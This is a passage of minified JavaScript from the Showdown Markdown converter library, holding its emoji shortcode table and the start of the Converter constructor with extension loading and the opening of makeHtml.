e}}),a.helper.regexes={asteriskDashAndColon:/([*_:~])/g},a.helper.emojis={"+1":"👍","-1":"👎",100:"💯",1234:"🔢","1st_place_medal":"🥇","2nd_place_medal":"🥈","3rd_place_medal":"🥉","8ball":"🎱",a:"🅰️",ab:"🆎",abc:"🔤",abcd:"🔡",accept:"🉑",aerial_tramway:"🚡",airplane:"✈️",alarm_clock:"⏰",alembic:"⚗️",alien:"👽",ambulance:"🚑",amphora:"🏺",anchor:"⚓️",angel:"👼",anger:"💢",angry:"😠",anguished:"😧",ant:"🐜",apple:"🍎",aquarius:"♒️",aries:"♈️",arrow_backward:"◀️",arrow_double_down:"⏬",arrow_double_up:"⏫",arrow_down:"⬇️",arrow_down_small:"🔽",arrow_forward:"▶️",arrow_heading_down:"⤵️",arrow_heading_up:"⤴️",arrow_left:"⬅️",arrow_lower_left:"↙️",arrow_lower_right:"↘️",arrow_right:"➡️",arrow_right_hook:"↪️",arrow_up:"⬆️",arrow_up_down:"↕️",arrow_up_small:"🔼",arrow_upper_left:"↖️",arrow_upper_right:"↗️",arrows_clockwise:"🔃",arrows_counterclockwise:"🔄",art:"🎨",articulated_lorry:"🚛",artificial_satellite:"🛰",astonished:"😲",athletic_shoe:"👟",atm:"🏧",atom_symbol:"⚛️",avocado:"🥑",b:"🅱️",baby:"👶",baby_bottle:"🍼",baby_chick:"🐤",baby_symbol:"🚼",back:"🔙",bacon:"🥓",badminton:"🏸",baggage_claim:"🛄",baguette_bread:"🥖",balance_scale:"⚖️",balloon:"🎈",ballot_box:"🗳",ballot_box_with_check:"☑️",bamboo:"🎍",banana:"🍌",bangbang:"‼️",bank:"🏦",bar_chart:"📊",barber:"💈",baseball:"⚾️",basketball:"🏀",basketball_man:"⛹️",basketball_woman:"⛹️&zwj;♀️",bat:"🦇",bath:"🛀",bathtub:"🛁",battery:"🔋",beach_umbrella:"🏖",bear:"🐻",bed:"🛏",bee:"🐝",beer:"🍺",beers:"🍻",beetle:"🐞",beginner:"🔰",bell:"🔔",bellhop_bell:"🛎",bento:"🍱",biking_man:"🚴",bike:"🚲",biking_woman:"🚴&zwj;♀️",bikini:"👙",biohazard:"☣️",bird:"🐦",birthday:"🎂",black_circle:"⚫️",black_flag:"🏴",black_heart:"🖤",black_joker:"🃏",black_large_square:"⬛️",black_medium_small_square:"◾️",black_medium_square:"◼️",black_nib:"✒️",black_small_square:"▪️",black_square_button:"🔲",blonde_man:"👱",blonde_woman:"👱&zwj;♀️",blossom:"🌼",blowfish:"🐡",blue_book:"📘",blue_car:"🚙",blue_heart:"💙",blush:"😊",boar:"🐗",boat:"⛵️",bomb:"💣",book:"📖",bookmark:"🔖",bookmark_tabs:"📑",books:"📚",boom:"💥",boot:"👢",bouquet:"💐",bowing_man:"🙇",bow_and_arrow:"🏹",bowing_woman:"🙇&zwj;♀️",bowling:"🎳",boxing_glove:"🥊",boy:"👦",bread:"🍞",bride_with_veil:"👰",bridge_at_night:"🌉",briefcase:"💼",broken_heart:"💔",bug:"🐛",building_construction:"🏗",bulb:"💡",bullettrain_front:"🚅",bullettrain_side:"🚄",burrito:"🌯",bus:"🚌",business_suit_levitating:"🕴",busstop:"🚏",bust_in_silhouette:"👤",busts_in_silhouette:"👥",butterfly:"🦋",cactus:"🌵",cake:"🍰",calendar:"📆",call_me_hand:"🤙",calling:"📲",camel:"🐫",camera:"📷",camera_flash:"📸",camping:"🏕",cancer:"♋️",candle:"🕯",candy:"🍬",canoe:"🛶",capital_abcd:"🔠",capricorn:"♑️",car:"🚗",card_file_box:"🗃",card_index:"📇",card_index_dividers:"🗂",carousel_horse:"🎠",carrot:"🥕",cat:"🐱",cat2:"🐈",cd:"💿",chains:"⛓",champagne:"🍾",chart:"💹",chart_with_downwards_trend:"📉",chart_with_upwards_trend:"📈",checkered_flag:"🏁",cheese:"🧀",cherries:"🍒",cherry_blossom:"🌸",chestnut:"🌰",chicken:"🐔",children_crossing:"🚸",chipmunk:"🐿",chocolate_bar:"🍫",christmas_tree:"🎄",church:"⛪️",cinema:"🎦",circus_tent:"🎪",city_sunrise:"🌇",city_sunset:"🌆",cityscape:"🏙",cl:"🆑",clamp:"🗜",clap:"👏",clapper:"🎬",classical_building:"🏛",clinking_glasses:"🥂",clipboard:"📋",clock1:"🕐",clock10:"🕙",clock1030:"🕥",clock11:"🕚",clock1130:"🕦",clock12:"🕛",clock1230:"🕧",clock130:"🕜",clock2:"🕑",clock230:"🕝",clock3:"🕒",clock330:"🕞",clock4:"🕓",clock430:"🕟",clock5:"🕔",clock530:"🕠",clock6:"🕕",clock630:"🕡",clock7:"🕖",clock730:"🕢",clock8:"🕗",clock830:"🕣",clock9:"🕘",clock930:"🕤",closed_book:"📕",closed_lock_with_key:"🔐",closed_umbrella:"🌂",cloud:"☁️",cloud_with_lightning:"🌩",cloud_with_lightning_and_rain:"⛈",cloud_with_rain:"🌧",cloud_with_snow:"🌨",clown_face:"🤡",clubs:"♣️",cocktail:"🍸",coffee:"☕️",coffin:"⚰️",cold_sweat:"😰",comet:"☄️",computer:"💻",computer_mouse:"🖱",confetti_ball:"🎊",confounded:"😖",confused:"😕",congratulations:"㊗️",construction:"🚧",construction_worker_man:"👷",construction_worker_woman:"👷&zwj;♀️",control_knobs:"🎛",convenience_store:"🏪",cookie:"🍪",cool:"🆒",policeman:"👮",copyright:"©️",corn:"🌽",couch_and_lamp:"🛋",couple:"👫",couple_with_heart_woman_man:"💑",couple_with_heart_man_man:"👨&zwj;❤️&zwj;👨",couple_with_heart_woman_woman:"👩&zwj;❤️&zwj;👩",couplekiss_man_man:"👨&zwj;❤️&zwj;💋&zwj;👨",couplekiss_man_woman:"💏",couplekiss_woman_woman:"👩&zwj;❤️&zwj;💋&zwj;👩",cow:"🐮",cow2:"🐄",cowboy_hat_face:"🤠",crab:"🦀",crayon:"🖍",credit_card:"💳",crescent_moon:"🌙",cricket:"🏏",crocodile:"🐊",croissant:"🥐",crossed_fingers:"🤞",crossed_flags:"🎌",crossed_swords:"⚔️",crown:"👑",cry:"😢",crying_cat_face:"😿",crystal_ball:"🔮",cucumber:"🥒",cupid:"💘",curly_loop:"➰",currency_exchange:"💱",curry:"🍛",custard:"🍮",customs:"🛃",cyclone:"🌀",dagger:"🗡",dancer:"💃",dancing_women:"👯",dancing_men:"👯&zwj;♂️",dango:"🍡",dark_sunglasses:"🕶",dart:"🎯",dash:"💨",date:"📅",deciduous_tree:"🌳",deer:"🦌",department_store:"🏬",derelict_house:"🏚",desert:"🏜",desert_island:"🏝",desktop_computer:"🖥",male_detective:"🕵️",diamond_shape_with_a_dot_inside:"💠",diamonds:"♦️",disappointed:"😞",disappointed_relieved:"😥",dizzy:"💫",dizzy_face:"😵",do_not_litter:"🚯",dog:"🐶",dog2:"🐕",dollar:"💵",dolls:"🎎",dolphin:"🐬",door:"🚪",doughnut:"🍩",dove:"🕊",dragon:"🐉",dragon_face:"🐲",dress:"👗",dromedary_camel:"🐪",drooling_face:"🤤",droplet:"💧",drum:"🥁",duck:"🦆",dvd:"📀","e-mail":"📧",eagle:"🦅",ear:"👂",ear_of_rice:"🌾",earth_africa:"🌍",earth_americas:"🌎",earth_asia:"🌏",egg:"🥚",eggplant:"🍆",eight_pointed_black_star:"✴️",eight_spoked_asterisk:"✳️",electric_plug:"🔌",elephant:"🐘",email:"✉️",end:"🔚",envelope_with_arrow:"📩",euro:"💶",european_castle:"🏰",european_post_office:"🏤",evergreen_tree:"🌲",exclamation:"❗️",expressionless:"😑",eye:"👁",eye_speech_bubble:"👁&zwj;🗨",eyeglasses:"👓",eyes:"👀",face_with_head_bandage:"🤕",face_with_thermometer:"🤒",fist_oncoming:"👊",factory:"🏭",fallen_leaf:"🍂",family_man_woman_boy:"👪",family_man_boy:"👨&zwj;👦",family_man_boy_boy:"👨&zwj;👦&zwj;👦",family_man_girl:"👨&zwj;👧",family_man_girl_boy:"👨&zwj;👧&zwj;👦",family_man_girl_girl:"👨&zwj;👧&zwj;👧",family_man_man_boy:"👨&zwj;👨&zwj;👦",family_man_man_boy_boy:"👨&zwj;👨&zwj;👦&zwj;👦",family_man_man_girl:"👨&zwj;👨&zwj;👧",family_man_man_girl_boy:"👨&zwj;👨&zwj;👧&zwj;👦",family_man_man_girl_girl:"👨&zwj;👨&zwj;👧&zwj;👧",family_man_woman_boy_boy:"👨&zwj;👩&zwj;👦&zwj;👦",family_man_woman_girl:"👨&zwj;👩&zwj;👧",family_man_woman_girl_boy:"👨&zwj;👩&zwj;👧&zwj;👦",family_man_woman_girl_girl:"👨&zwj;👩&zwj;👧&zwj;👧",family_woman_boy:"👩&zwj;👦",family_woman_boy_boy:"👩&zwj;👦&zwj;👦",family_woman_girl:"👩&zwj;👧",family_woman_girl_boy:"👩&zwj;👧&zwj;👦",family_woman_girl_girl:"👩&zwj;👧&zwj;👧",family_woman_woman_boy:"👩&zwj;👩&zwj;👦",family_woman_woman_boy_boy:"👩&zwj;👩&zwj;👦&zwj;👦",family_woman_woman_girl:"👩&zwj;👩&zwj;👧",family_woman_woman_girl_boy:"👩&zwj;👩&zwj;👧&zwj;👦",family_woman_woman_girl_girl:"👩&zwj;👩&zwj;👧&zwj;👧",fast_forward:"⏩",fax:"📠",fearful:"😨",feet:"🐾",female_detective:"🕵️&zwj;♀️",ferris_wheel:"🎡",ferry:"⛴",field_hockey:"🏑",file_cabinet:"🗄",file_folder:"📁",film_projector:"📽",film_strip:"🎞",fire:"🔥",fire_engine:"🚒",fireworks:"🎆",first_quarter_moon:"🌓",first_quarter_moon_with_face:"🌛",fish:"🐟",fish_cake:"🍥",fishing_pole_and_fish:"🎣",fist_raised:"✊",fist_left:"🤛",fist_right:"🤜",flags:"🎏",flashlight:"🔦",fleur_de_lis:"⚜️",flight_arrival:"🛬",flight_departure:"🛫",floppy_disk:"💾",flower_playing_cards:"🎴",flushed:"😳",fog:"🌫",foggy:"🌁",football:"🏈",footprints:"👣",fork_and_knife:"🍴",fountain:"⛲️",fountain_pen:"🖋",four_leaf_clover:"🍀",fox_face:"🦊",framed_picture:"🖼",free:"🆓",fried_egg:"🍳",fried_shrimp:"🍤",fries:"🍟",frog:"🐸",frowning:"😦",frowning_face:"☹️",frowning_man:"🙍&zwj;♂️",frowning_woman:"🙍",middle_finger:"🖕",fuelpump:"⛽️",full_moon:"🌕",full_moon_with_face:"🌝",funeral_urn:"⚱️",game_die:"🎲",gear:"⚙️",gem:"💎",gemini:"♊️",ghost:"👻",gift:"🎁",gift_heart:"💝",girl:"👧",globe_with_meridians:"🌐",goal_net:"🥅",goat:"🐐",golf:"⛳️",golfing_man:"🏌️",golfing_woman:"🏌️&zwj;♀️",gorilla:"🦍",grapes:"🍇",green_apple:"🍏",green_book:"📗",green_heart:"💚",green_salad:"🥗",grey_exclamation:"❕",grey_question:"❔",grimacing:"😬",grin:"😁",grinning:"😀",guardsman:"💂",guardswoman:"💂&zwj;♀️",guitar:"🎸",gun:"🔫",haircut_woman:"💇",haircut_man:"💇&zwj;♂️",hamburger:"🍔",hammer:"🔨",hammer_and_pick:"⚒",hammer_and_wrench:"🛠",hamster:"🐹",hand:"✋",handbag:"👜",handshake:"🤝",hankey:"💩",hatched_chick:"🐥",hatching_chick:"🐣",headphones:"🎧",hear_no_evil:"🙉",heart:"❤️",heart_decoration:"💟",heart_eyes:"😍",heart_eyes_cat:"😻",heartbeat:"💓",heartpulse:"💗",hearts:"♥️",heavy_check_mark:"✔️",heavy_division_sign:"➗",heavy_dollar_sign:"💲",heavy_heart_exclamation:"❣️",heavy_minus_sign:"➖",heavy_multiplication_x:"✖️",heavy_plus_sign:"➕",helicopter:"🚁",herb:"🌿",hibiscus:"🌺",high_brightness:"🔆",high_heel:"👠",hocho:"🔪",hole:"🕳",honey_pot:"🍯",horse:"🐴",horse_racing:"🏇",hospital:"🏥",hot_pepper:"🌶",hotdog:"🌭",hotel:"🏨",hotsprings:"♨️",hourglass:"⌛️",hourglass_flowing_sand:"⏳",house:"🏠",house_with_garden:"🏡",houses:"🏘",hugs:"🤗",hushed:"😯",ice_cream:"🍨",ice_hockey:"🏒",ice_skate:"⛸",icecream:"🍦",id:"🆔",ideograph_advantage:"🉐",imp:"👿",inbox_tray:"📥",incoming_envelope:"📨",tipping_hand_woman:"💁",information_source:"ℹ️",innocent:"😇",interrobang:"⁉️",iphone:"📱",izakaya_lantern:"🏮",jack_o_lantern:"🎃",japan:"🗾",japanese_castle:"🏯",japanese_goblin:"👺",japanese_ogre:"👹",jeans:"👖",joy:"😂",joy_cat:"😹",joystick:"🕹",kaaba:"🕋",key:"🔑",keyboard:"⌨️",keycap_ten:"🔟",kick_scooter:"🛴",kimono:"👘",kiss:"💋",kissing:"😗",kissing_cat:"😽",kissing_closed_eyes:"😚",kissing_heart:"😘",kissing_smiling_eyes:"😙",kiwi_fruit:"🥝",koala:"🐨",koko:"🈁",label:"🏷",large_blue_circle:"🔵",large_blue_diamond:"🔷",large_orange_diamond:"🔶",last_quarter_moon:"🌗",last_quarter_moon_with_face:"🌜",latin_cross:"✝️",laughing:"😆",leaves:"🍃",ledger:"📒",left_luggage:"🛅",left_right_arrow:"↔️",leftwards_arrow_with_hook:"↩️",lemon:"🍋",leo:"♌️",leopard:"🐆",level_slider:"🎚",libra:"♎️",light_rail:"🚈",link:"🔗",lion:"🦁",lips:"👄",lipstick:"💄",lizard:"🦎",lock:"🔒",lock_with_ink_pen:"🔏",lollipop:"🍭",loop:"➿",loud_sound:"🔊",loudspeaker:"📢",love_hotel:"🏩",love_letter:"💌",low_brightness:"🔅",lying_face:"🤥",m:"Ⓜ️",mag:"🔍",mag_right:"🔎",mahjong:"🀄️",mailbox:"📫",mailbox_closed:"📪",mailbox_with_mail:"📬",mailbox_with_no_mail:"📭",man:"👨",man_artist:"👨&zwj;🎨",man_astronaut:"👨&zwj;🚀",man_cartwheeling:"🤸&zwj;♂️",man_cook:"👨&zwj;🍳",man_dancing:"🕺",man_facepalming:"🤦&zwj;♂️",man_factory_worker:"👨&zwj;🏭",man_farmer:"👨&zwj;🌾",man_firefighter:"👨&zwj;🚒",man_health_worker:"👨&zwj;⚕️",man_in_tuxedo:"🤵",man_judge:"👨&zwj;⚖️",man_juggling:"🤹&zwj;♂️",man_mechanic:"👨&zwj;🔧",man_office_worker:"👨&zwj;💼",man_pilot:"👨&zwj;✈️",man_playing_handball:"🤾&zwj;♂️",man_playing_water_polo:"🤽&zwj;♂️",man_scientist:"👨&zwj;🔬",man_shrugging:"🤷&zwj;♂️",man_singer:"👨&zwj;🎤",man_student:"👨&zwj;🎓",man_teacher:"👨&zwj;🏫",man_technologist:"👨&zwj;💻",man_with_gua_pi_mao:"👲",man_with_turban:"👳",tangerine:"🍊",mans_shoe:"👞",mantelpiece_clock:"🕰",maple_leaf:"🍁",martial_arts_uniform:"🥋",mask:"😷",massage_woman:"💆",massage_man:"💆&zwj;♂️",meat_on_bone:"🍖",medal_military:"🎖",medal_sports:"🏅",mega:"📣",melon:"🍈",memo:"📝",men_wrestling:"🤼&zwj;♂️",menorah:"🕎",mens:"🚹",metal:"🤘",metro:"🚇",microphone:"🎤",microscope:"🔬",milk_glass:"🥛",milky_way:"🌌",minibus:"🚐",minidisc:"💽",mobile_phone_off:"📴",money_mouth_face:"🤑",money_with_wings:"💸",moneybag:"💰",monkey:"🐒",monkey_face:"🐵",monorail:"🚝",moon:"🌔",mortar_board:"🎓",mosque:"🕌",motor_boat:"🛥",motor_scooter:"🛵",motorcycle:"🏍",motorway:"🛣",mount_fuji:"🗻",mountain:"⛰",mountain_biking_man:"🚵",mountain_biking_woman:"🚵&zwj;♀️",mountain_cableway:"🚠",mountain_railway:"🚞",mountain_snow:"🏔",mouse:"🐭",mouse2:"🐁",movie_camera:"🎥",moyai:"🗿",mrs_claus:"🤶",muscle:"💪",mushroom:"🍄",musical_keyboard:"🎹",musical_note:"🎵",musical_score:"🎼",mute:"🔇",nail_care:"💅",name_badge:"📛",national_park:"🏞",nauseated_face:"🤢",necktie:"👔",negative_squared_cross_mark:"❎",nerd_face:"🤓",neutral_face:"😐",new:"🆕",new_moon:"🌑",new_moon_with_face:"🌚",newspaper:"📰",newspaper_roll:"🗞",next_track_button:"⏭",ng:"🆖",no_good_man:"🙅&zwj;♂️",no_good_woman:"🙅",night_with_stars:"🌃",no_bell:"🔕",no_bicycles:"🚳",no_entry:"⛔️",no_entry_sign:"🚫",no_mobile_phones:"📵",no_mouth:"😶",no_pedestrians:"🚷",no_smoking:"🚭","non-potable_water":"🚱",nose:"👃",notebook:"📓",notebook_with_decorative_cover:"📔",notes:"🎶",nut_and_bolt:"🔩",o:"⭕️",o2:"🅾️",ocean:"🌊",octopus:"🐙",oden:"🍢",office:"🏢",oil_drum:"🛢",ok:"🆗",ok_hand:"👌",ok_man:"🙆&zwj;♂️",ok_woman:"🙆",old_key:"🗝",older_man:"👴",older_woman:"👵",om:"🕉",on:"🔛",oncoming_automobile:"🚘",oncoming_bus:"🚍",oncoming_police_car:"🚔",oncoming_taxi:"🚖",open_file_folder:"📂",open_hands:"👐",open_mouth:"😮",open_umbrella:"☂️",ophiuchus:"⛎",orange_book:"📙",orthodox_cross:"☦️",outbox_tray:"📤",owl:"🦉",ox:"🐂",package:"📦",page_facing_up:"📄",page_with_curl:"📃",pager:"📟",paintbrush:"🖌",palm_tree:"🌴",pancakes:"🥞",panda_face:"🐼",paperclip:"📎",paperclips:"🖇",parasol_on_ground:"⛱",parking:"🅿️",part_alternation_mark:"〽️",partly_sunny:"⛅️",passenger_ship:"🛳",passport_control:"🛂",pause_button:"⏸",peace_symbol:"☮️",peach:"🍑",peanuts:"🥜",pear:"🍐",pen:"🖊",pencil2:"✏️",penguin:"🐧",pensive:"😔",performing_arts:"🎭",persevere:"😣",person_fencing:"🤺",pouting_woman:"🙎",phone:"☎️",pick:"⛏",pig:"🐷",pig2:"🐖",pig_nose:"🐽",pill:"💊",pineapple:"🍍",ping_pong:"🏓",pisces:"♓️",pizza:"🍕",place_of_worship:"🛐",plate_with_cutlery:"🍽",play_or_pause_button:"⏯",point_down:"👇",point_left:"👈",point_right:"👉",point_up:"☝️",point_up_2:"👆",police_car:"🚓",policewoman:"👮&zwj;♀️",poodle:"🐩",popcorn:"🍿",post_office:"🏣",postal_horn:"📯",postbox:"📮",potable_water:"🚰",potato:"🥔",pouch:"👝",poultry_leg:"🍗",pound:"💷",rage:"😡",pouting_cat:"😾",pouting_man:"🙎&zwj;♂️",pray:"🙏",prayer_beads:"📿",pregnant_woman:"🤰",previous_track_button:"⏮",prince:"🤴",princess:"👸",printer:"🖨",purple_heart:"💜",purse:"👛",pushpin:"📌",put_litter_in_its_place:"🚮",question:"❓",rabbit:"🐰",rabbit2:"🐇",racehorse:"🐎",racing_car:"🏎",radio:"📻",radio_button:"🔘",radioactive:"☢️",railway_car:"🚃",railway_track:"🛤",rainbow:"🌈",rainbow_flag:"🏳️&zwj;🌈",raised_back_of_hand:"🤚",raised_hand_with_fingers_splayed:"🖐",raised_hands:"🙌",raising_hand_woman:"🙋",raising_hand_man:"🙋&zwj;♂️",ram:"🐏",ramen:"🍜",rat:"🐀",record_button:"⏺",recycle:"♻️",red_circle:"🔴",registered:"®️",relaxed:"☺️",relieved:"😌",reminder_ribbon:"🎗",repeat:"🔁",repeat_one:"🔂",rescue_worker_helmet:"⛑",restroom:"🚻",revolving_hearts:"💞",rewind:"⏪",rhinoceros:"🦏",ribbon:"🎀",rice:"🍚",rice_ball:"🍙",rice_cracker:"🍘",rice_scene:"🎑",right_anger_bubble:"🗯",ring:"💍",robot:"🤖",rocket:"🚀",rofl:"🤣",roll_eyes:"🙄",roller_coaster:"🎢",rooster:"🐓",rose:"🌹",rosette:"🏵",rotating_light:"🚨",round_pushpin:"📍",rowing_man:"🚣",rowing_woman:"🚣&zwj;♀️",rugby_football:"🏉",running_man:"🏃",running_shirt_with_sash:"🎽",running_woman:"🏃&zwj;♀️",sa:"🈂️",sagittarius:"♐️",sake:"🍶",sandal:"👡",santa:"🎅",satellite:"📡",saxophone:"🎷",school:"🏫",school_satchel:"🎒",scissors:"✂️",scorpion:"🦂",scorpius:"♏️",scream:"😱",scream_cat:"🙀",scroll:"📜",seat:"💺",secret:"㊙️",see_no_evil:"🙈",seedling:"🌱",selfie:"🤳",shallow_pan_of_food:"🥘",shamrock:"☘️",shark:"🦈",shaved_ice:"🍧",sheep:"🐑",shell:"🐚",shield:"🛡",shinto_shrine:"⛩",ship:"🚢",shirt:"👕",shopping:"🛍",shopping_cart:"🛒",shower:"🚿",shrimp:"🦐",signal_strength:"📶",six_pointed_star:"🔯",ski:"🎿",skier:"⛷",skull:"💀",skull_and_crossbones:"☠️",sleeping:"😴",sleeping_bed:"🛌",sleepy:"😪",slightly_frowning_face:"🙁",slightly_smiling_face:"🙂",slot_machine:"🎰",small_airplane:"🛩",small_blue_diamond:"🔹",small_orange_diamond:"🔸",small_red_triangle:"🔺",small_red_triangle_down:"🔻",smile:"😄",smile_cat:"😸",smiley:"😃",smiley_cat:"😺",smiling_imp:"😈",smirk:"😏",smirk_cat:"😼",smoking:"🚬",snail:"🐌",snake:"🐍",sneezing_face:"🤧",snowboarder:"🏂",snowflake:"❄️",snowman:"⛄️",snowman_with_snow:"☃️",sob:"😭",soccer:"⚽️",soon:"🔜",sos:"🆘",sound:"🔉",space_invader:"👾",spades:"♠️",spaghetti:"🍝",sparkle:"❇️",sparkler:"🎇",sparkles:"✨",sparkling_heart:"💖",speak_no_evil:"🙊",speaker:"🔈",speaking_head:"🗣",speech_balloon:"💬",speedboat:"🚤",spider:"🕷",spider_web:"🕸",spiral_calendar:"🗓",spiral_notepad:"🗒",spoon:"🥄",squid:"🦑",stadium:"🏟",star:"⭐️",star2:"🌟",star_and_crescent:"☪️",star_of_david:"✡️",stars:"🌠",station:"🚉",statue_of_liberty:"🗽",steam_locomotive:"🚂",stew:"🍲",stop_button:"⏹",stop_sign:"🛑",stopwatch:"⏱",straight_ruler:"📏",strawberry:"🍓",stuck_out_tongue:"😛",stuck_out_tongue_closed_eyes:"😝",stuck_out_tongue_winking_eye:"😜",studio_microphone:"🎙",stuffed_flatbread:"🥙",sun_behind_large_cloud:"🌥",sun_behind_rain_cloud:"🌦",sun_behind_small_cloud:"🌤",sun_with_face:"🌞",sunflower:"🌻",sunglasses:"😎",sunny:"☀️",sunrise:"🌅",sunrise_over_mountains:"🌄",surfing_man:"🏄",surfing_woman:"🏄&zwj;♀️",sushi:"🍣",suspension_railway:"🚟",sweat:"😓",sweat_drops:"💦",sweat_smile:"😅",sweet_potato:"🍠",swimming_man:"🏊",swimming_woman:"🏊&zwj;♀️",symbols:"🔣",synagogue:"🕍",syringe:"💉",taco:"🌮",tada:"🎉",tanabata_tree:"🎋",taurus:"♉️",taxi:"🚕",tea:"🍵",telephone_receiver:"📞",telescope:"🔭",tennis:"🎾",tent:"⛺️",thermometer:"🌡",thinking:"🤔",thought_balloon:"💭",ticket:"🎫",tickets:"🎟",tiger:"🐯",tiger2:"🐅",timer_clock:"⏲",tipping_hand_man:"💁&zwj;♂️",tired_face:"😫",tm:"™️",toilet:"🚽",tokyo_tower:"🗼",tomato:"🍅",tongue:"👅",top:"🔝",tophat:"🎩",tornado:"🌪",trackball:"🖲",tractor:"🚜",traffic_light:"🚥",train:"🚋",train2:"🚆",tram:"🚊",triangular_flag_on_post:"🚩",triangular_ruler:"📐",trident:"🔱",triumph:"😤",trolleybus:"🚎",trophy:"🏆",tropical_drink:"🍹",tropical_fish:"🐠",truck:"🚚",trumpet:"🎺",tulip:"🌷",tumbler_glass:"🥃",turkey:"🦃",turtle:"🐢",tv:"📺",twisted_rightwards_arrows:"🔀",two_hearts:"💕",two_men_holding_hands:"👬",two_women_holding_hands:"👭",u5272:"🈹",u5408:"🈴",u55b6:"🈺",u6307:"🈯️",u6708:"🈷️",u6709:"🈶",u6e80:"🈵",u7121:"🈚️",u7533:"🈸",u7981:"🈲",u7a7a:"🈳",umbrella:"☔️",unamused:"😒",underage:"🔞",unicorn:"🦄",unlock:"🔓",up:"🆙",upside_down_face:"🙃",v:"✌️",vertical_traffic_light:"🚦",vhs:"📼",vibration_mode:"📳",video_camera:"📹",video_game:"🎮",violin:"🎻",virgo:"♍️",volcano:"🌋",volleyball:"🏐",vs:"🆚",vulcan_salute:"🖖",walking_man:"🚶",walking_woman:"🚶&zwj;♀️",waning_crescent_moon:"🌘",waning_gibbous_moon:"🌖",warning:"⚠️",wastebasket:"🗑",watch:"⌚️",water_buffalo:"🐃",watermelon:"🍉",wave:"👋",wavy_dash:"〰️",waxing_crescent_moon:"🌒",wc:"🚾",weary:"😩",wedding:"💒",weight_lifting_man:"🏋️",weight_lifting_woman:"🏋️&zwj;♀️",whale:"🐳",whale2:"🐋",wheel_of_dharma:"☸️",wheelchair:"♿️",white_check_mark:"✅",white_circle:"⚪️",white_flag:"🏳️",white_flower:"💮",white_large_square:"⬜️",white_medium_small_square:"◽️",white_medium_square:"◻️",white_small_square:"▫️",white_square_button:"🔳",wilted_flower:"🥀",wind_chime:"🎐",wind_face:"🌬",wine_glass:"🍷",wink:"😉",wolf:"🐺",woman:"👩",woman_artist:"👩&zwj;🎨",woman_astronaut:"👩&zwj;🚀",woman_cartwheeling:"🤸&zwj;♀️",woman_cook:"👩&zwj;🍳",woman_facepalming:"🤦&zwj;♀️",woman_factory_worker:"👩&zwj;🏭",woman_farmer:"👩&zwj;🌾",woman_firefighter:"👩&zwj;🚒",woman_health_worker:"👩&zwj;⚕️",woman_judge:"👩&zwj;⚖️",woman_juggling:"🤹&zwj;♀️",woman_mechanic:"👩&zwj;🔧",woman_office_worker:"👩&zwj;💼",woman_pilot:"👩&zwj;✈️",woman_playing_handball:"🤾&zwj;♀️",woman_playing_water_polo:"🤽&zwj;♀️",woman_scientist:"👩&zwj;🔬",woman_shrugging:"🤷&zwj;♀️",woman_singer:"👩&zwj;🎤",woman_student:"👩&zwj;🎓",woman_teacher:"👩&zwj;🏫",woman_technologist:"👩&zwj;💻",woman_with_turban:"👳&zwj;♀️",womans_clothes:"👚",womans_hat:"👒",women_wrestling:"🤼&zwj;♀️",womens:"🚺",world_map:"🗺",worried:"😟",wrench:"🔧",writing_hand:"✍️",x:"❌",yellow_heart:"💛",yen:"💴",yin_yang:"☯️",yum:"😋",zap:"⚡️",zipper_mouth_face:"🤐",zzz:"💤",octocat:'<img alt=":octocat:" height="20" width="20" align="absmiddle" src="https://assets-cdn.github.com/images/icons/emoji/octocat.png">',showdown:"<span style=\"font-family: 'Anonymous Pro', monospace; text-decoration: underline; text-decoration-style: dashed; text-decoration-color: #3e8b8a;text-underline-position: under;\">S</span>"},a.Converter=function(e){"use strict";var t={},r=[],n=[],o={},i=l,p={parsed:{},raw:"",format:""};function f(e,t){if(t=t||null,a.helper.isString(e)){if(t=e=a.helper.stdExtName(e),a.extensions[e])return console.warn("DEPRECATION WARNING: "+e+" is an old extension that uses a deprecated loading method.Please inform the developer that the extension should be updated!"),void function(e,t){"function"==typeof e&&(e=e(new a.Converter));a.helper.isArray(e)||(e=[e]);var o=d(e,t);if(!o.valid)throw Error(o.error);for(var i=0;i<e.length;++i)switch(e[i].type){case"lang":r.push(e[i]);break;case"output":n.push(e[i]);break;default:throw Error("Extension loader error: Type unrecognized!!!")}}(a.extensions[e],e);if(a.helper.isUndefined(s[e]))throw Error('Extension "'+e+'" could not be loaded. It was either not found or is not a valid extension.');e=s[e]}"function"==typeof e&&(e=e()),a.helper.isArray(e)||(e=[e]);var o=d(e,t);if(!o.valid)throw Error(o.error);for(var i=0;i<e.length;++i){switch(e[i].type){case"lang":r.push(e[i]);break;case"output":n.push(e[i])}if(e[i].hasOwnProperty("listeners"))for(var c in e[i].listeners)e[i].listeners.hasOwnProperty(c)&&h(c,e[i].listeners[c])}}function h(e,t){if(!a.helper.isString(e))throw Error("Invalid argument in converter.listen() method: name must be a string, but "+typeof e+" given");if("function"!=typeof t)throw Error("Invalid argument in converter.listen() method: callback must be a function, but "+typeof t+" given");o.hasOwnProperty(e)||(o[e]=[]),o[e].push(t)}!function(){for(var r in e=e||{},c)c.hasOwnProperty(r)&&(t[r]=c[r]);if("object"!=typeof e)throw Error("Converter expects the passed parameter to be an object, but "+typeof e+" was passed instead.");for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);t.extensions&&a.helper.forEach(t.extensions,f)}(),this._dispatch=function(e,t,r,n){if(o.hasOwnProperty(e))for(var a=0;a<o[e].length;++a){var i=o[e][a](e,t,this,r,n);i&&void 0!==i&&(t=i)}return t},this.listen=function(e,t){return h(e,t),this},this.makeHtml=function(e){if(!e)return e;var o={gHtmlBlocks:[],gHtmlMdBlocks:[],gHtmlSpans:[],gUrls:{},gTitles:{},gDimensions:{},gListLevel:0,hashLinkCounts:{},langExtensions:r,outputModifiers:n,converter:this,ghCodeBlocks:[],metadata:{parsed:{},raw:"",format:""}};return e=(e=(e=(e=(e=e.replace(/¨/g,"¨T")).replace(/\$/g,"¨D")).replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/\u00A0/g,"&nbsp;"),t.smartIndentationFix&&(e=function(e){var t=e.match(/^\s*/)[0].length,r=new RegExp("^\\s{0,"+t+"}","gm");return e.replace(r,"")}(e)),e="\n\n"+e+"\n\n",e=(e=a.subParser("detab")(e,t,o)).replace(/^[ 